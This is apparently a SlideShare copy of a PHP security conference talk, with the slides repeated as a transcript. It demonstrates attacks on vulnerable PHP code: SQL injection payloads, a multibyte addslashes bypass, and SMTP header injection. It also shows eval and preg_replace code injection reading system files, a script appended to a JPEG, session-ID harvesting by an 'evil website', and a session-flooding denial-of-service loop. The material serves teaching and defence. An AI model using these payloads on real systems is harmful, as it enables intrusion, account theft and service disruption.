SlideShare a Scribd company logo
Exploiting PHP with PHP Arpad Ray @ PHPNW08
Why use PHP for this? We already know how to write PHP
Why use PHP for this? We already know how to write PHP Can use directly in test scripts
Why use PHP for this? We already know how to write PHP Can use directly in test scripts PHP provides everything we need
Why use PHP for this? We already know how to write PHP Can use directly in test scripts PHP provides everything we need Writing PHP can be very quick
Why use PHP for this? We already know how to write PHP Can use directly in test scripts PHP provides everything we need Writing PHP can be very quick Can efficiently re-use and combine attacks
SQL injection Probably the first attack most PHP developers hear of
SQL injection $q = "SELECT * FROM foobar WHERE id = $_GET[id]";
SQL injection $q = "SELECT * FROM foobar WHERE id = $_GET[id]"; index.php?id=1 OR 1=1 $_GET['id'] = '1 OR 1=1';
SQL injection $q = "SELECT * FROM foobar WHERE id = $_GET[id]"; index.php?id=1 OR 1=1 $_GET['id'] = '1 OR 1=1'; $q = "SELECT * FROM foobar WHERE id =  1 OR 1=1 ";
SQL injection $q = "SELECT * FROM foobar WHERE id =  ' $_GET[id] ' ";
SQL injection $q = "SELECT * FROM foobar WHERE id =  ' $_GET[id] ' "; index.php?id=' OR ''=' $_GET['id'] = “' OR ''='”;
SQL injection $q = "SELECT * FROM foobar WHERE id =  ' $_GET[id] ' "; index.php?id=' OR ''=' $_GET['id'] = “' OR ''='”; $q = "SELECT * FROM foobar WHERE id =  ' ' OR ''=' ' ";
SQL injection $q = "SELECT * FROM foobar WHERE id =  ' $_POST[id] ' ";
SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_POST[id]&quot;; <form method=”post” action=” http://example.com/foo.php ”> <input type=”hidden” name=”id” value=”1 OR 1=1” />   <input type=”submit” /> </form>
SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_POST[id]&quot;; $context = stream_context_create(array('http' => array(   'method' => 'post'   'content' => 'id=1 OR 1=1' ))); file_get_contents(' http://example.com/foo.php ', false, $context);
SQL injection $q = 'SELECT * FROM foobar WHERE id = ' . addslashes($id);
addslashes()‏ $id = addslashes($_POST['id']); $q = &quot;SELECT * FROM foobar WHERE id =  ' $id ' &quot;; $_POST['id'] = “' OR ''='”; $q = &quot;SELECT * FROM foobar WHERE id =  'apos; OR apos;apos;=apos;' &quot;;
addslashes()‏ Getting around that pesky backslash
addslashes()‏ Getting around that pesky backslash Multi-byte character attacks
addslashes()‏ Getting around that pesky backslash Multi-byte character attacks Swallow  the backslash with a multi-byte character ending with that byte
addslashes()‏ Getting around that pesky backslash Multi-byte character attacks Swallow  the backslash with a multi-byte character ending with that byte <start of mb character><single quote> // apply addslashes() <mb character><single quote>
addslashes()‏ $mbCharacter = &quot;BF5C&quot;; $quote = substr($mbCharacter, 0, -1) . 'apos;';
addslashes()‏ $mbCharacter = &quot;BF5C&quot;; $quote = substr($mbCharacter, 0, -1) . 'apos;'; $id = &quot; $quote OR $quote$quote = $quote &quot;; $context = stream_context_create(array('http' => array(   'method' => 'post'   'content' => http_build_query(array('id' => $id)) ))); file_get_contents('http://example.com/foo.php', false, $context); $q = &quot;SELECT * FROM foobar WHERE id =  ' ?' OR '?'='? ' &quot;;
addslashes()‏ $mbCharacter = &quot;BF5C&quot;; $quote = substr($mbCharacter, 0, -1) . 'apos;'; $id = &quot; $quote OR 1=1 /* &quot;; $context = stream_context_create(array('http' => array(   'method' => 'post'   'content' => http_build_query(array('id' => $id)) ))); file_get_contents('http://example.com/foo.php', false, $context); $q = &quot;SELECT * FROM foobar WHERE id =  ' ?' OR 1=1 /* ' &quot;;
magic_quotes_gpc Uses addslashes() so escaping is not secure
magic_quotes_gpc Uses addslashes() so escaping is not secure Fosters complacency
magic_quotes_gpc Uses addslashes() so escaping is not secure Fosters complacency Applications using magic quotes are much harder to make truly portable
magic_quotes_gpc Uses addslashes() so escaping is not secure Fosters complacency Applications using magic quotes are much harder to make truly portable Inconsistencies between PHP versions
magic_quotes_gpc $context = stream_context_create(array('http' => array(   'user_agent' => $foo ))); $context = stream_context_create(array('http' => array(   'method' => 'get'   'header' => 'X-Foo: ' . $foo )));
magic_quotes_gpc ?  scalar'1=foo& array'1[scalar'2]=foo& array'1[array'2][scalar'3]=foo
magic_quotes_gpc Expected result: Array (   [scalarapos;1] => foo   [arrayapos;1] => Array   (   [scalarapos;2] => foo   [arrayapos;2] => Array   (   [scalarapos;3] => foo   )   ) )‏
magic_quotes_gpc PHP 4.3.3 Array (   [ scalar'1 ] => foo   [ array'1 ] => Array   (   [ scalar'2 ] => foo   [arrayapos;2] => Array   (   [ scalar'3 ] => foo   )   ) )‏
magic_quotes_gpc PHP 4.4.0 Array (   [ scalar'1 ] => foo   [ array'1 ] => Array   (   [ scalarapos;2 ] => foo   [arrayapos;2] => Array   (   [ scalarapos;3 ] => foo   )   ) )‏
magic_quotes_gpc PHP 5.0.0 (OFF)‏ Array (   [scalarapos;1] => foo   [arrayapos;1] => Array   (   [scalarapos;2] => foo   [arrayapos;2] => Array   (   [scalarapos;3] => foo   )   ) )‏
magic_quotes_gpc PHP 5.2.2 Array (   [scalarapos;1] => foo   [arrayapos;1] => Array   (   [scalarapos;2] => foo   [arrayapos;2] => Array   (   [scalarapos;3] => foo   )   ) )‏
magic_quotes_gpc There are also problems  disabling  magic_quotes_gpc
magic_quotes_gpc There are also problems  disabling  magic_quotes_gpc function stripslashes_deep($value) {   $value = is_array($value) ?   array_map('stripslashes_deep', $value) :   stripslashes($value);   return $value; }
magic_quotes_gpc There are also problems  disabling  magic_quotes_gpc Instead of passing id=1 we can pass: 'id' . str_repeat('[]', 1000) . '=1' We can trivially force the web server to do  a lot  of unnecessary work
Denial of Service Failure to release resources
Denial of Service Failure to release resources Writing user data to disk
Denial of Service function fill_sessions($url, $num = 1000) {   $context = stream_context_create(array(   'http' => array(   'method' => 'HEAD'   )   ));   for ($i = $num; $i--;) {   file_get_contents($url, false, $context);   } }
Denial of Service Failure to release resources Writing user data to disk Locking customer accounts
SMTP injection
SMTP injection $to = 'foobar@example.com'; $subject = $_POST['subject']; $from = $_POST['from']; mail($to, $subject, 'From: ' . $from);
SMTP injection $context = stream_context_create(array('http' => array( 'method' => 'post' 'content' => http_build_query(array( 'subject' => &quot;fooCc: target@example.com&quot;, 'from' => &quot;from@example.comCc: target@example.com&quot; ))‏ )));
SMTP injection Variable mail address
SMTP injection Variable mail address Sanitisation
SMTP injection Variable mail address Sanitisation Validation
SMTP injection Variable mail address Sanitisation Validation /^[^@]+@(?:+)+{2,6}$/
Hot vulnerabilities Direct eval() injection
Hot vulnerabilities Direct eval() injection class Foo {   function Foo() {   $a = func_get_args();   print_r($a);   }  } eval('$foo = new Foo(' . implode(',', $args) . ');');
Hot vulnerabilities Direct eval() injection $args[0] = 'readfile(“/etc/passed”)';
Hot vulnerabilities preg_replace() using /e modifier $s = '$-42 dollars'; preg_replace('/(.*?) dollars/e', 'abs($1)', $s)‏ $s = '42';
Hot vulnerabilities preg_replace() using /e modifier $s = '$1).foobar().abs(1 dollars'; preg_replace('/(.*?) dollars/e', 'abs($1)', $s)‏ $s = '4242';
Hot vulnerabilities preg_replace() using /e modifier $s = '$1).readfile(chr(47).chr(101)...abs(1 dollars'; preg_replace('/(.*?) dollars/e', 'abs($1)', $s)‏ $s = '4242';
Hot vulnerabilities Variable in include() call $page = $_GET['page']; include $page;
Hot vulnerabilities Direct eval() injection preg_replace() using /e modifier Variable in include() call Uploading PHP files
Hot vulnerabilities Uploading PHP files Check file extension Check uploaded MIME type Check file MIME type Move outside of web root
Hot vulnerabilities $script = <<<EOT <?php var_dump('hello world!'); EOT; $jpeg = '/path/to/some_valid.jpg'; $fp = fopen($jpeg, 'ab'); fwrite($fp, $script); fclose($fp);
Hot vulnerabilities Direct eval() injection preg_replace() using /e modifier Variable in include() call Uploading PHP files
Hot vulnerabilities Direct eval() injection preg_replace() using /e modifier Variable in include() call Uploading PHP files Shell injection
Making an evil website HTTP requests can give us lots of interesting information PHPSESSID = bingo
Making an evil website if (isset($_SESSION['HTTP_REFERER'])) {   if (preg_match('   /   PHPSESSID=([^=&]+)   /xi',   $_SESSION['HTTP_REFERER'])); }
Making an evil website if (isset($_SESSION['HTTP_REFERER'])) {   if (preg_match('   /   PHPSESSID=([^=&]+) | (?<==)([a-f]{32}|[a-f]{40})   /xi',   $_SESSION['HTTP_REFERER'])); }
Making use of victims File scan
Making use of victims File scan $dir = new RecursiveIteratorIterator( new RecursiveDirectoryIterator('/', true)‏ ); foreach ($dir as $file) { echo $file->getPathname(), &quot;&quot;; }
Making use of victims File scan Subverting existing files
Making use of victims File scan Subverting existing files Escalate privileges, take over machine
Making use of victims File scan Subverting existing files Escalate privileges, take over machine botnet.php
Questions?

More Related Content

Exploiting Php With Php

  • 1. Exploiting PHP with PHP Arpad Ray @ PHPNW08
  • 2. Why use PHP for this? We already know how to write PHP
  • 3. Why use PHP for this? We already know how to write PHP Can use directly in test scripts
  • 4. Why use PHP for this? We already know how to write PHP Can use directly in test scripts PHP provides everything we need
  • 5. Why use PHP for this? We already know how to write PHP Can use directly in test scripts PHP provides everything we need Writing PHP can be very quick
  • 6. Why use PHP for this? We already know how to write PHP Can use directly in test scripts PHP provides everything we need Writing PHP can be very quick Can efficiently re-use and combine attacks
  • 7. SQL injection Probably the first attack most PHP developers hear of
  • 8. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_GET[id]&quot;;
  • 9. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_GET[id]&quot;; index.php?id=1 OR 1=1 $_GET['id'] = '1 OR 1=1';
  • 10. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_GET[id]&quot;; index.php?id=1 OR 1=1 $_GET['id'] = '1 OR 1=1'; $q = &quot;SELECT * FROM foobar WHERE id = 1 OR 1=1 &quot;;
  • 11. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = ' $_GET[id] ' &quot;;
  • 12. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = ' $_GET[id] ' &quot;; index.php?id=' OR ''=' $_GET['id'] = “' OR ''='”;
  • 13. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = ' $_GET[id] ' &quot;; index.php?id=' OR ''=' $_GET['id'] = “' OR ''='”; $q = &quot;SELECT * FROM foobar WHERE id = ' ' OR ''=' ' &quot;;
  • 14. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = ' $_POST[id] ' &quot;;
  • 15. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_POST[id]&quot;; <form method=”post” action=” http://example.com/foo.php ”> <input type=”hidden” name=”id” value=”1 OR 1=1” /> <input type=”submit” /> </form>
  • 16. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_POST[id]&quot;; $context = stream_context_create(array('http' => array( 'method' => 'post' 'content' => 'id=1 OR 1=1' ))); file_get_contents(' http://example.com/foo.php ', false, $context);
  • 17. SQL injection $q = 'SELECT * FROM foobar WHERE id = ' . addslashes($id);
  • 18. addslashes()‏ $id = addslashes($_POST['id']); $q = &quot;SELECT * FROM foobar WHERE id = ' $id ' &quot;; $_POST['id'] = “' OR ''='”; $q = &quot;SELECT * FROM foobar WHERE id = 'apos; OR apos;apos;=apos;' &quot;;
  • 19. addslashes()‏ Getting around that pesky backslash
  • 20. addslashes()‏ Getting around that pesky backslash Multi-byte character attacks
  • 21. addslashes()‏ Getting around that pesky backslash Multi-byte character attacks Swallow the backslash with a multi-byte character ending with that byte
  • 22. addslashes()‏ Getting around that pesky backslash Multi-byte character attacks Swallow the backslash with a multi-byte character ending with that byte <start of mb character><single quote> // apply addslashes() <mb character><single quote>
  • 23. addslashes()‏ $mbCharacter = &quot;BF5C&quot;; $quote = substr($mbCharacter, 0, -1) . 'apos;';
  • 24. addslashes()‏ $mbCharacter = &quot;BF5C&quot;; $quote = substr($mbCharacter, 0, -1) . 'apos;'; $id = &quot; $quote OR $quote$quote = $quote &quot;; $context = stream_context_create(array('http' => array( 'method' => 'post' 'content' => http_build_query(array('id' => $id)) ))); file_get_contents('http://example.com/foo.php', false, $context); $q = &quot;SELECT * FROM foobar WHERE id = ' ?' OR '?'='? ' &quot;;
  • 25. addslashes()‏ $mbCharacter = &quot;BF5C&quot;; $quote = substr($mbCharacter, 0, -1) . 'apos;'; $id = &quot; $quote OR 1=1 /* &quot;; $context = stream_context_create(array('http' => array( 'method' => 'post' 'content' => http_build_query(array('id' => $id)) ))); file_get_contents('http://example.com/foo.php', false, $context); $q = &quot;SELECT * FROM foobar WHERE id = ' ?' OR 1=1 /* ' &quot;;
  • 26. magic_quotes_gpc Uses addslashes() so escaping is not secure
  • 27. magic_quotes_gpc Uses addslashes() so escaping is not secure Fosters complacency
  • 28. magic_quotes_gpc Uses addslashes() so escaping is not secure Fosters complacency Applications using magic quotes are much harder to make truly portable
  • 29. magic_quotes_gpc Uses addslashes() so escaping is not secure Fosters complacency Applications using magic quotes are much harder to make truly portable Inconsistencies between PHP versions
  • 30. magic_quotes_gpc $context = stream_context_create(array('http' => array( 'user_agent' => $foo ))); $context = stream_context_create(array('http' => array( 'method' => 'get' 'header' => 'X-Foo: ' . $foo )));
  • 31. magic_quotes_gpc ? scalar'1=foo& array'1[scalar'2]=foo& array'1[array'2][scalar'3]=foo
  • 32. magic_quotes_gpc Expected result: Array ( [scalarapos;1] => foo [arrayapos;1] => Array ( [scalarapos;2] => foo [arrayapos;2] => Array ( [scalarapos;3] => foo ) ) )‏
  • 33. magic_quotes_gpc PHP 4.3.3 Array ( [ scalar'1 ] => foo [ array'1 ] => Array ( [ scalar'2 ] => foo [arrayapos;2] => Array ( [ scalar'3 ] => foo ) ) )‏
  • 34. magic_quotes_gpc PHP 4.4.0 Array ( [ scalar'1 ] => foo [ array'1 ] => Array ( [ scalarapos;2 ] => foo [arrayapos;2] => Array ( [ scalarapos;3 ] => foo ) ) )‏
  • 35. magic_quotes_gpc PHP 5.0.0 (OFF)‏ Array ( [scalarapos;1] => foo [arrayapos;1] => Array ( [scalarapos;2] => foo [arrayapos;2] => Array ( [scalarapos;3] => foo ) ) )‏
  • 36. magic_quotes_gpc PHP 5.2.2 Array ( [scalarapos;1] => foo [arrayapos;1] => Array ( [scalarapos;2] => foo [arrayapos;2] => Array ( [scalarapos;3] => foo ) ) )‏
  • 37. magic_quotes_gpc There are also problems disabling magic_quotes_gpc
  • 38. magic_quotes_gpc There are also problems disabling magic_quotes_gpc function stripslashes_deep($value) { $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value); return $value; }
  • 39. magic_quotes_gpc There are also problems disabling magic_quotes_gpc Instead of passing id=1 we can pass: 'id' . str_repeat('[]', 1000) . '=1' We can trivially force the web server to do a lot of unnecessary work
  • 40. Denial of Service Failure to release resources
  • 41. Denial of Service Failure to release resources Writing user data to disk
  • 42. Denial of Service function fill_sessions($url, $num = 1000) { $context = stream_context_create(array( 'http' => array( 'method' => 'HEAD' ) )); for ($i = $num; $i--;) { file_get_contents($url, false, $context); } }
  • 43. Denial of Service Failure to release resources Writing user data to disk Locking customer accounts
  • 45. SMTP injection $to = 'foobar@example.com'; $subject = $_POST['subject']; $from = $_POST['from']; mail($to, $subject, 'From: ' . $from);
  • 46. SMTP injection $context = stream_context_create(array('http' => array( 'method' => 'post' 'content' => http_build_query(array( 'subject' => &quot;fooCc: target@example.com&quot;, 'from' => &quot;from@example.comCc: target@example.com&quot; ))‏ )));
  • 47. SMTP injection Variable mail address
  • 48. SMTP injection Variable mail address Sanitisation
  • 49. SMTP injection Variable mail address Sanitisation Validation
  • 50. SMTP injection Variable mail address Sanitisation Validation /^[^@]+@(?:+)+{2,6}$/
  • 51. Hot vulnerabilities Direct eval() injection
  • 52. Hot vulnerabilities Direct eval() injection class Foo { function Foo() { $a = func_get_args(); print_r($a); } } eval('$foo = new Foo(' . implode(',', $args) . ');');
  • 53. Hot vulnerabilities Direct eval() injection $args[0] = 'readfile(“/etc/passed”)';
  • 54. Hot vulnerabilities preg_replace() using /e modifier $s = '$-42 dollars'; preg_replace('/(.*?) dollars/e', 'abs($1)', $s)‏ $s = '42';
  • 55. Hot vulnerabilities preg_replace() using /e modifier $s = '$1).foobar().abs(1 dollars'; preg_replace('/(.*?) dollars/e', 'abs($1)', $s)‏ $s = '4242';
  • 56. Hot vulnerabilities preg_replace() using /e modifier $s = '$1).readfile(chr(47).chr(101)...abs(1 dollars'; preg_replace('/(.*?) dollars/e', 'abs($1)', $s)‏ $s = '4242';
  • 57. Hot vulnerabilities Variable in include() call $page = $_GET['page']; include $page;
  • 58. Hot vulnerabilities Direct eval() injection preg_replace() using /e modifier Variable in include() call Uploading PHP files
  • 59. Hot vulnerabilities Uploading PHP files Check file extension Check uploaded MIME type Check file MIME type Move outside of web root
  • 60. Hot vulnerabilities $script = <<<EOT <?php var_dump('hello world!'); EOT; $jpeg = '/path/to/some_valid.jpg'; $fp = fopen($jpeg, 'ab'); fwrite($fp, $script); fclose($fp);
  • 61. Hot vulnerabilities Direct eval() injection preg_replace() using /e modifier Variable in include() call Uploading PHP files
  • 62. Hot vulnerabilities Direct eval() injection preg_replace() using /e modifier Variable in include() call Uploading PHP files Shell injection
  • 63. Making an evil website HTTP requests can give us lots of interesting information PHPSESSID = bingo
  • 64. Making an evil website if (isset($_SESSION['HTTP_REFERER'])) { if (preg_match(' / PHPSESSID=([^=&]+) /xi', $_SESSION['HTTP_REFERER'])); }
  • 65. Making an evil website if (isset($_SESSION['HTTP_REFERER'])) { if (preg_match(' / PHPSESSID=([^=&]+) | (?<==)([a-f]{32}|[a-f]{40}) /xi', $_SESSION['HTTP_REFERER'])); }
  • 66. Making use of victims File scan
  • 67. Making use of victims File scan $dir = new RecursiveIteratorIterator( new RecursiveDirectoryIterator('/', true)‏ ); foreach ($dir as $file) { echo $file->getPathname(), &quot;&quot;; }
  • 68. Making use of victims File scan Subverting existing files
  • 69. Making use of victims File scan Subverting existing files Escalate privileges, take over machine
  • 70. Making use of victims File scan Subverting existing files Escalate privileges, take over machine botnet.php